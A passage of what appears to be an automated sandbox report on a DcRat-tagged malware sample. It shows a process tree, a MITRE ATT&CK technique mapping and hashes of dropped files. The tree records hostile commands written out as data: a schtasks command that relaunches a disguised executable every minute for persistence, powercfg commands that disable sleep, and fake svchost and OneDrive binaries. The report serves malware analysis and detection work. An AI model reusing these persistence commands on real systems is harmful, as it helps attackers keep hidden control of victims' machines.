                                                                                                                                                                    1⤵
                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                    PID:5684
                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:5316
                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:4752
                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1208
                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:4472
                                                                                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                                                                                            C:\Windows\system32\conhost.exe
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:5268
                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                              svchost.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:5820
                                                                                                                                                                            • C:\Users\Public\svchost.exe
                                                                                                                                                                              C:\Users\Public\svchost.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5712
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:280
                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                  PID:2092
                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:5992
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:228
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:5236
                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                            schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • DcRat
                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                            PID:5476
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          "cmd" /c copy "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:5284
                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 4284 -ip 4284
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:4844
                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 6100 -ip 6100
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:5608
                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 6100 -ip 6100
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:5556
                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4216 -ip 4216
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:2852
                                                                                                                                                                                                • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                  "LogonUI.exe" /flags:0x0 /state0:0xa3841055 /state1:0x41c64e6d
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:1980
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 4216 -ip 4216
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:864
                                                                                                                                                                                                    • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                      C:\Windows\system32\AUDIODG.EXE 0x2fc 0x3f8
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:5536
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4216 -ip 4216
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:5480
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4216 -ip 4216
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:2876
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 4216 -ip 4216
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:5580
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4216 -ip 4216
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:4936
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4216 -ip 4216
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:5944
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4216 -ip 4216
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:5124
                                                                                                                                                                                                                  • C:\Users\Public\svchost.exe
                                                                                                                                                                                                                    C:\Users\Public\svchost.exe
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:3500
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\OneDrive.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:3632
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                        PID:5888
                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:5540
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:3384
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:5716
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                "cmd" /c copy "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:4728
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 292 -ip 292
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:4100
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5716 -ip 5716
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:2912
                                                                                                                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:5960
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 5664 -ip 5664
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:4992
                                                                                                                                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:5360
                                                                                                                                                                                                                                        • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                          "LogonUI.exe" /flags:0x0 /state0:0xa387e855 /state1:0x41c64e6d
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:2904

                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                                                                          Resource Development

                                                                                                                                                                                                                                          Initial Access

                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                          Scripting

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1064

                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                          Pre-OS Boot

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1542

                                                                                                                                                                                                                                          Bootkit

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1542.003

                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                          Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1548

                                                                                                                                                                                                                                          Bypass User Account Control

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1548.002

                                                                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547

                                                                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1547.001

                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                          Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1548

                                                                                                                                                                                                                                          Bypass User Account Control

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1548.002

                                                                                                                                                                                                                                          Impair Defenses

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1562

                                                                                                                                                                                                                                          Disable or Modify Tools

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1562.001

                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                          Pre-OS Boot

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1542

                                                                                                                                                                                                                                          Bootkit

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1542.003

                                                                                                                                                                                                                                          Scripting

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1064

                                                                                                                                                                                                                                          Subvert Trust Controls

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1553

                                                                                                                                                                                                                                          Install Root Certificate

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1553.004

                                                                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1497

                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                          Unsecured Credentials

                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                          T1552

                                                                                                                                                                                                                                          Credentials In Files

                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                          T1552.001

                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                          Peripheral Device Discovery

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1120

                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                          8
                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                          Remote System Discovery

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1018

                                                                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          T1082

                                                                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          T1497

                                                                                                                                                                                                                                          Lateral Movement

                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                          Data from Local System

                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                          T1005

                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                          Web Service

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1102

                                                                                                                                                                                                                                          Exfiltration

                                                                                                                                                                                                                                          Impact

                                                                                                                                                                                                                                          Service Stop

                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          T1489

                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                          • C:\ProgramData\FIEGCBKE
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            92KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            17a7df30f13c3da857d658cacd4d32b5

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            a7263013b088e677410d35f4cc4df02514cb898c

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            c44cbdf2dbfb3ea10d471fa39c9b63e6e2fc00f1add109d51419b208a426f4d0

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            ea96cc3e2a44d2adeca4ecb4b8875a808ef041a6a5b4ae77b6bfd1600dd31f449b51b1a5997064c43e5111861ac4e3bc40a55db6a39d6323c0b00ff26d113b72

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\ProgramData\IIJKJDAF
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            116KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            f70aa3fa04f0536280f872ad17973c3d

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            50a7b889329a92de1b272d0ecf5fce87395d3123

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\ProgramData\MediaDevicePicker 3.0.194.66\MediaDevicePicker 3.0.194.66.exe
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            2.9MB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            af11c34e790a03677c43339fc82d0260

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            cd6fb90b47ff1f10d4e8ea3ad14e782dbdaa068c

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            2daf226107c856b1ecf9399684411b3549510db9744fb3c5a1aa51e11f5af505

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            64cd1fa602bf98deba05e89a2d489f4baf7328bd36ed59b1a342630e0f05db1b9490db615a4ed3db07e6456f8b1ce18a51a095bd318ddaa0c6ba719a97c265d4

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\ProgramData\mozglue.dll
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            593KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            654B

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            3d086a433708053f9bf9523e1d87a4e8

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            18KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            171fa1b3c2a1881da14c1368f3672c8a

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            0971d1edfb9f6f6428bec783bf91ad225a49d1d5

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            71391b8165df100bdc2fc32df93eddbac19d9e96843c831437c854c7934000dd

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            a6ed4f75cebd4ff5963b023bb133f2bef898ecad052f97fe4126d9aa3a298bb84aafe5bfd26a3bbd805916b467e1886faac4c899f4db375350547ce3269b45b6

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            19KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            b32a40fb8243c7dc8629538e6110d80b

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            532298d9a5985303120735807ed615579aa200ef

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            cd8b04c66900164b2c82f5c04cbfbcc3cfc79cd9f64161d35e3fdf9fea4ad2c0

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            c5ae1521fcb75cd61b9ab93620666c3a2b9cb8a5a48a9bf89696e81132da6372177975a5ed4e8249104a7a768e4e1d076ec030a88b4fe85722599b7440a2a19e

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            944B

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            9b80cd7a712469a4c45fec564313d9eb

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            6125c01bc10d204ca36ad1110afe714678655f2d

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            944B

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            36c1937644741dead48c1c090eeea972

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            f795939bced5653be2c10e6850ba94c268fb6b42

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            c9368ff7aa0e52a8f66081c343bd9e8e7827d9cb0acb25fe05bd4efb01813c68

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            7af3c3d12de9f185c5fbdc7519d221f1fa91053056516e1d200561d553a39c22c1e8714b6c38c81a71f1f23e21e51380fb3359f877370a387dfe27aefea764c5

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            944B

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            7daa0b6c9f8fb37635f8121b0c06690a

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            5684d950c7e582b02ba88e579f0d350100d16889

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            a37ab7ac828226c2de1d05cdf35a6d7934ff3e5ecd617d46df1cdc784783d86b

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            55578b4054f8e12df4721df0f8f35ca1f879dd2e2e32ac8aaa8bebf68f5521dfb35547a0f15e670cecd8019f18b32c0e6d78f44556431807e4225b04c0e99c35

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            944B

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            aa1d071c64c11da056441908be218eb9

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            829685d5759d0c6408cdb49d768319340911259b

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            b441de653f1db11fdcb7756e853676af9c07fc2bdedf51aad9bd48efca291d3a

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            809f7622cc311eb6476454804d323cc3fa993f7ef4cab5edce15d72d8c9cd8d56023f59877fc7346e6d27c90e53d11e96185568aa69a7acc1cff318028d594a9

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            944B

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            34f595487e6bfd1d11c7de88ee50356a

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            4caad088c15766cc0fa1f42009260e9a02f953bb

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\RuntimeBroker2.exe
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            837KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            3ecf5cab8e919a5bb0c047bd80e5dfee

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            4abdb1574cec441b1efdea63f1a30b3318bad32e

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            c69fa2eab697e81ab16220fb7cff13f1feed69bb84a9df039920501eb699c7bc

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            3b871383921202e1a06c55ad1774b7403be754fc1e567260867f14e4f2ccc31a9bf6deb9ac22837277cea395f31db7213155318a96beb249e171ec186d25c15f

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OTmtxexm.exe
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            5KB

                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                            6a2c09749219d577535d0338c6cffe06

                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                            576b00c03455a518664308c976097097f691bca4

                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                            75b57c1c27f33b59ab9b62dc15a2a66b0a0b28a55bdc72119edbb98a1692573c

                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                            cd5d2269011a79e7bcdf8dfceb78e908f8bb2b6561228a25ebe3161a6194eafb6a6d79a390215e0f1d8bf04f7a2d6f26b7c532835f1187d25fa2889a84be6e0c

                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\TmpC62E.tmp
                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                            MD5

